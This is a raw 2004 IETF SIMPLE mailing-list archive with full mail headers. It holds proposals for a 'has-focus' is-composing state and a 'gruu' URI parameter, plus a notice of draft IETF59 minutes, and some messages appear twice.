	by bear.cs.columbia.edu (8.12.9/8.12.9) with ESMTP id i28AtRfG003234
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT)
	for <simple@ietf.org>; Mon, 8 Mar 2004 05:55:28 -0500
Message-ID: <404C511B.7050506@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219
X-Accept-Language: en-us, en, de
MIME-Version: 1.0
To: Simple WG <simple@ietf.org>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] is-composing: has-focus?
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 08 Mar 2004 05:55:23 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

The AT&T Hubbubb IM/presence client (http://www.hubbubme.com/) has an 
interesting feature that fits nicely into the is-composing draft: a 
'has-focus' indication that shows if the IM application has the user's 
window focus, i.e., the user is paying attention to what's being sent 
from the other side or is likely to respond soon. Any opinions of 
including this as an optional state, i.e., a user MUST be able to choose 
whether this gets sent and it MUST be off by default?

Henning

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  8 17:34:50 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA07732
	for <simple-archive@ietf.org>; Mon, 8 Mar 2004 17:34:50 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0TKl-0001h2-00
	for simple-archive@ietf.org; Mon, 08 Mar 2004 17:34:51 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0TJp-0001Yz-00
	for simple-archive@ietf.org; Mon, 08 Mar 2004 17:33:53 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0TJ3-0001RK-00; Mon, 08 Mar 2004 17:33:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0TIz-0001Du-Hr; Mon, 08 Mar 2004 17:33:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0TIx-0001DV-DO
	for simple@optimus.ietf.org; Mon, 08 Mar 2004 17:32:59 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA07675
	for <simple@ietf.org>; Mon, 8 Mar 2004 17:32:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0TIv-0001QU-00
	for simple@ietf.org; Mon, 08 Mar 2004 17:32:57 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0TI1-0001HL-00
	for simple@ietf.org; Mon, 08 Mar 2004 17:32:01 -0500
Received: from [63.110.3.64] (helo=dyn-tx-arch-crash.dfw.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0TH8-0000zC-00
	for simple@ietf.org; Mon, 08 Mar 2004 17:31:06 -0500
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	by dyn-tx-arch-crash.dfw.dynamicsoft.com (8.11.6/8.11.6) with ESMTP id i28MUad00570
	for <simple@ietf.org>; Mon, 8 Mar 2004 16:30:36 -0600
From: Robert Sparks <rsparks@dynamicsoft.com>
To: simple@ietf.org
Content-Type: text/plain
Message-Id: <1078784952.2136.20.camel@localhost.localdomain>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) 
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] Draft minutes: IETF59 - SIMPLE
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 08 Mar 2004 16:29:12 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Draft minutes for last week's sessions are available at
http://www.nostrum.com/~rjsparks/minutes-simple-ietf59-draft.txt

Please provide corrections or comments to the list or
directly to the chairs no later than Wednesday March 17.

Thanks, 

RjS



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  8 17:35:21 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA07765
	for <simple-archive@odin.ietf.org>; Mon, 8 Mar 2004 17:35:21 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0TKp-0001OE-BZ
	for simple-archive@odin.ietf.org; Mon, 08 Mar 2004 17:34:55 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i28MYtom005336
	for simple-archive@odin.ietf.org; Mon, 8 Mar 2004 17:34:55 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0TKo-0001Nz-Sc
	for simple-web-archive@optimus.ietf.org; Mon, 08 Mar 2004 17:34:54 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA07749
	for <simple-web-archive@ietf.org>; Mon, 8 Mar 2004 17:34:50 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0TKm-0001h7-00
	for simple-web-archive@ietf.org; Mon, 08 Mar 2004 17:34:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0TJp-0001Z6-00
	for simple-web-archive@ietf.org; Mon, 08 Mar 2004 17:33:54 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0TJ3-0001RK-00; Mon, 08 Mar 2004 17:33:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0TIz-0001Du-Hr; Mon, 08 Mar 2004 17:33:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0TIx-0001DV-DO
	for simple@optimus.ietf.org; Mon, 08 Mar 2004 17:32:59 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA07675
	for <simple@ietf.org>; Mon, 8 Mar 2004 17:32:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0TIv-0001QU-00
	for simple@ietf.org; Mon, 08 Mar 2004 17:32:57 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0TI1-0001HL-00
	for simple@ietf.org; Mon, 08 Mar 2004 17:32:01 -0500
Received: from [63.110.3.64] (helo=dyn-tx-arch-crash.dfw.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0TH8-0000zC-00
	for simple@ietf.org; Mon, 08 Mar 2004 17:31:06 -0500
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	by dyn-tx-arch-crash.dfw.dynamicsoft.com (8.11.6/8.11.6) with ESMTP id i28MUad00570
	for <simple@ietf.org>; Mon, 8 Mar 2004 16:30:36 -0600
From: Robert Sparks <rsparks@dynamicsoft.com>
To: simple@ietf.org
Content-Type: text/plain
Message-Id: <1078784952.2136.20.camel@localhost.localdomain>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) 
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] Draft minutes: IETF59 - SIMPLE
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 08 Mar 2004 16:29:12 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Draft minutes for last week's sessions are available at
http://www.nostrum.com/~rjsparks/minutes-simple-ietf59-draft.txt

Please provide corrections or comments to the list or
directly to the chairs no later than Wednesday March 17.

Thanks, 

RjS



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  8 18:03:10 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA09268
	for <simple-archive@ietf.org>; Mon, 8 Mar 2004 18:03:10 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0TmC-0006kk-00
	for simple-archive@ietf.org; Mon, 08 Mar 2004 18:03:12 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0Tl9-0006Vv-00
	for simple-archive@ietf.org; Mon, 08 Mar 2004 18:02:08 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0TkB-0006IY-00; Mon, 08 Mar 2004 18:01:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0Tk8-00049V-RG; Mon, 08 Mar 2004 18:01:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0TjM-0003xM-If
	for simple@optimus.ietf.org; Mon, 08 Mar 2004 18:00:16 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA09102
	for <simple@ietf.org>; Mon, 8 Mar 2004 18:00:12 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0TjJ-00064c-00
	for simple@ietf.org; Mon, 08 Mar 2004 18:00:13 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0TiG-0005nI-00
	for simple@ietf.org; Mon, 08 Mar 2004 17:59:10 -0500
Received: from mail1.microsoft.com ([131.107.3.125])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0TgX-00058g-00; Mon, 08 Mar 2004 17:57:21 -0500
Received: from mail5.microsoft.com ([157.54.6.156]) by mail1.microsoft.com with Microsoft SMTPSVC(6.0.3790.0);
	 Mon, 8 Mar 2004 14:56:48 -0800
Received: from inet-vrs-05.redmond.corp.microsoft.com ([157.54.6.157]) by mail5.microsoft.com with Microsoft SMTPSVC(6.0.3790.1039);
	 Mon, 8 Mar 2004 14:56:53 -0800
Received: from 157.54.8.155 by inet-vrs-05.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Mon, 08 Mar 2004 14:56:44 -0800
Received: from RED-MSG-52.redmond.corp.microsoft.com ([157.54.12.12]) by inet-hub-04.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.0);
	 Mon, 8 Mar 2004 14:56:41 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.5.7165.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="------------InterScan_NT_MIME_Boundary"
Message-ID: <DD07841287D0AD428833021705E0D14E019CAFDB@RED-MSG-52.redmond.corp.microsoft.com>
Thread-Topic: How to express a GRUU property of a URI
Thread-Index: AcQFYJruImVLdbYOSK259EjcxxFWUw==
From: "Orit Levin" <oritl@microsoft.com>
To: <sip@ietf.org>
Cc: <simple@ietf.org>, <xcon@ietf.org>
X-OriginalArrivalTime: 08 Mar 2004 22:56:41.0188 (UTC) FILETIME=[9EC44A40:01C40560]
Subject: [Simple] How to express a GRUU property of a URI
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 8 Mar 2004 14:56:34 -0800
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.5 required=5.0 tests=AWL,HTML_30_40,HTML_MESSAGE 
	autolearn=no version=2.60

This is a multi-part message in MIME format.

--------------InterScan_NT_MIME_Boundary
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C40560.B99650C3"

------_=_NextPart_001_01C40560.B99650C3
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Guys,
Based on the last week comments, there is a requirement to optionally
distinguish between information per user's AOR vs. per his/her GRUU(s)
in XML documents (outside of SIP signaling messages).
=20
Mentioned examples were Conference Package and Presence documents. (I
suspect more usage cases are to come.)
In my view, it is a matter of specific system
implementation/architecture whether, when, and why you need to expose
this information. (I do find it useful in some cases.)
=20
Both presence documents and conference package are user-centric and (to
the most parts) signaling-agnostic. I don't think it is wise to expand
the existing XML schemas by doubling each URI placeholder to include
signaling details, etc. I think it is more appropriate to define an
optional URI parameter (e.g. "gruu") that can be appended to any SIP
URI. By doing so, we can express the fact that a URI has GRUU properties
without modifying existing XML schemas and without defining extended XML
schemas in the future.
=20
By doing so, it is up to the document provider to decide which level of
granularity it wants to expose without making changes to existing XML
schema.
=20
What do you think?
=20
Orit.
PS: Please, reply to SIP list only. I just wanted to bring this question
to the attention of SIMPLE and XCON communities in one shot.
=20
=20
=20
=20
=20

------_=_NextPart_001_01C40560.B99650C3
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dus-ascii">
<META content=3D"MSHTML 6.00.2800.1400" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D301522222-08032004>Guys,</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D301522222-08032004>Based =
on the last=20
week comments, there&nbsp;is a requirement to optionally distinguish=20
between&nbsp;information per&nbsp;user's AOR&nbsp;vs.=20
per&nbsp;his/her&nbsp;GRUU(s) in XML documents (outside of SIP signaling =

messages).</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D301522222-08032004></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN =
class=3D301522222-08032004>Mentioned examples=20
were Conference Package and Presence documents. (I suspect more usage =
cases are=20
to come.)</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D301522222-08032004>In my =
view, it is a=20
matter of specific system implementation/architecture whether, when, and =
why you=20
need to expose this information. (I do find it useful in some=20
cases.)</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D301522222-08032004></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D301522222-08032004>Both =
presence=20
documents and conference package are user-centric and (to the most =
parts)=20
signaling-agnostic. I don't think it is wise to expand the existing XML =
schemas=20
by doubling each URI placeholder to include signaling details, etc. I =
think it=20
is more appropriate to define an optional&nbsp;URI parameter (e.g. =
"gruu") that=20
can be&nbsp;appended to&nbsp;any SIP URI. By doing so, we can express =
the fact=20
that a URI has GRUU properties without modifying existing XML schemas =
and=20
without defining extended XML schemas in the future.</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D301522222-08032004></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D301522222-08032004>By =
doing so, it is=20
up to the document provider to decide which level of granularity it =
wants to=20
expose without making changes to existing XML =
schema.</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D301522222-08032004></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D301522222-08032004>What =
do you=20
think?</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D301522222-08032004></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D301522222-08032004>Orit.</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D301522222-08032004>PS: =
Please, reply to=20
SIP list only. I just wanted to bring this question to the attention of =
SIMPLE=20
and XCON communities in one shot.</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D301522222-08032004></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D301522222-08032004></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D301522222-08032004></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D301522222-08032004></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D301522222-08032004></SPAN></FONT>&nbsp;</DIV></BODY></HTML>

------_=_NextPart_001_01C40560.B99650C3--

--------------InterScan_NT_MIME_Boundary--


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  8 18:03:41 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA09379
	for <simple-archive@odin.ietf.org>; Mon, 8 Mar 2004 18:03:41 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0TmF-00063j-PK
	for simple-archive@odin.ietf.org; Mon, 08 Mar 2004 18:03:15 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i28N3F8p023288
	for simple-archive@odin.ietf.org; Mon, 8 Mar 2004 18:03:15 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0TmF-00063U-L3
	for simple-web-archive@optimus.ietf.org; Mon, 08 Mar 2004 18:03:15 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA09282
	for <simple-web-archive@ietf.org>; Mon, 8 Mar 2004 18:03:10 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0TmC-0006kp-00
	for simple-web-archive@ietf.org; Mon, 08 Mar 2004 18:03:12 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0TlA-0006W4-00
	for simple-web-archive@ietf.org; Mon, 08 Mar 2004 18:02:09 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0TkB-0006IY-00; Mon, 08 Mar 2004 18:01:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0Tk8-00049V-RG; Mon, 08 Mar 2004 18:01:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0TjM-0003xM-If
	for simple@optimus.ietf.org; Mon, 08 Mar 2004 18:00:16 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA09102
	for <simple@ietf.org>; Mon, 8 Mar 2004 18:00:12 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0TjJ-00064c-00
	for simple@ietf.org; Mon, 08 Mar 2004 18:00:13 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0TiG-0005nI-00
	for simple@ietf.org; Mon, 08 Mar 2004 17:59:10 -0500
Received: from mail1.microsoft.com ([131.107.3.125])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0TgX-00058g-00; Mon, 08 Mar 2004 17:57:21 -0500
Received: from mail5.microsoft.com ([157.54.6.156]) by mail1.microsoft.com with Microsoft SMTPSVC(6.0.3790.0);
	 Mon, 8 Mar 2004 14:56:48 -0800
Received: from inet-vrs-05.redmond.corp.microsoft.com ([157.54.6.157]) by mail5.microsoft.com with Microsoft SMTPSVC(6.0.3790.1039);
	 Mon, 8 Mar 2004 14:56:53 -0800
Received: from 157.54.8.155 by inet-vrs-05.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Mon, 08 Mar 2004 14:56:44 -0800
Received: from RED-MSG-52.redmond.corp.microsoft.com ([157.54.12.12]) by inet-hub-04.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.0);
	 Mon, 8 Mar 2004 14:56:41 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.5.7165.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="------------InterScan_NT_MIME_Boundary"
Message-ID: <DD07841287D0AD428833021705E0D14E019CAFDB@RED-MSG-52.redmond.corp.microsoft.com>
Thread-Topic: How to express a GRUU property of a URI
Thread-Index: AcQFYJruImVLdbYOSK259EjcxxFWUw==
From: "Orit Levin" <oritl@microsoft.com>
To: <sip@ietf.org>
Cc: <simple@ietf.org>, <xcon@ietf.org>
X-OriginalArrivalTime: 08 Mar 2004 22:56:41.0188 (UTC) FILETIME=[9EC44A40:01C40560]
Subject: [Simple] How to express a GRUU property of a URI
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 8 Mar 2004 14:56:34 -0800
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.5 required=5.0 tests=AWL,HTML_30_40,HTML_MESSAGE 
	autolearn=no version=2.60

This is a multi-part message in MIME format.

--------------InterScan_NT_MIME_Boundary
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C40560.B99650C3"

------_=_NextPart_001_01C40560.B99650C3
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Guys,
Based on the last week comments, there is a requirement to optionally
distinguish between information per user's AOR vs. per his/her GRUU(s)
in XML documents (outside of SIP signaling messages).
=20
Mentioned examples were Conference Package and Presence documents. (I
suspect more usage cases are to come.)
In my view, it is a matter of specific system
implementation/architecture whether, when, and why you need to expose
this information. (I do find it useful in some cases.)
=20
Both presence documents and conference package are user-centric and (to
the most parts) signaling-agnostic. I don't think it is wise to expand
the existing XML schemas by doubling each URI placeholder to include
signaling details, etc. I think it is more appropriate to define an
optional URI parameter (e.g. "gruu") that can be appended to any SIP
URI. By doing so, we can express the fact that a URI has GRUU properties
without modifying existing XML schemas and without defining extended XML
schemas in the future.
=20
By doing so, it is up to the document provider to decide which level of
granularity it wants to expose without making changes to existing XML
schema.
=20
What do you think?
=20
Orit.
PS: Please, reply to SIP list only. I just wanted to bring this question
to the attention of SIMPLE and XCON communities in one shot.
=20
=20
=20
=20
=20

------_=_NextPart_001_01C40560.B99650C3
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dus-ascii">
<META content=3D"MSHTML 6.00.2800.1400" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D301522222-08032004>Guys,</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D301522222-08032004>Based =
on the last=20
week comments, there&nbsp;is a requirement to optionally distinguish=20
between&nbsp;information per&nbsp;user's AOR&nbsp;vs.=20
per&nbsp;his/her&nbsp;GRUU(s) in XML documents (outside of SIP signaling =

messages).</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D301522222-08032004></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN =
class=3D301522222-08032004>Mentioned examples=20
were Conference Package and Presence documents. (I suspect more usage =
cases are=20
to come.)</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D301522222-08032004>In my =
view, it is a=20
matter of specific system implementation/architecture whether, when, and =
why you=20
need to expose this information. (I do find it useful in some=20
cases.)</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D301522222-08032004></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D301522222-08032004>Both =
presence=20
documents and conference package are user-centric and (to the most =
parts)=20
signaling-agnostic. I don't think it is wise to expand the existing XML =
schemas=20
by doubling each URI placeholder to include signaling details, etc. I =
think it=20
is more appropriate to define an optional&nbsp;URI parameter (e.g. =
"gruu") that=20
can be&nbsp;appended to&nbsp;any SIP URI. By doing so, we can express =
the fact=20
that a URI has GRUU properties without modifying existing XML schemas =
and=20
without defining extended XML schemas in the future.</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D301522222-08032004></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D301522222-08032004>By =
doing so, it is=20
up to the document provider to decide which level of granularity it =
wants to=20
expose without making changes to existing XML =
schema.</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D301522222-08032004></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D301522222-08032004>What =
do you=20
think?</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D301522222-08032004></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D301522222-08032004>Orit.</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D301522222-08032004>PS: =
Please, reply to=20
SIP list only. I just wanted to bring this question to the attention of =
SIMPLE=20
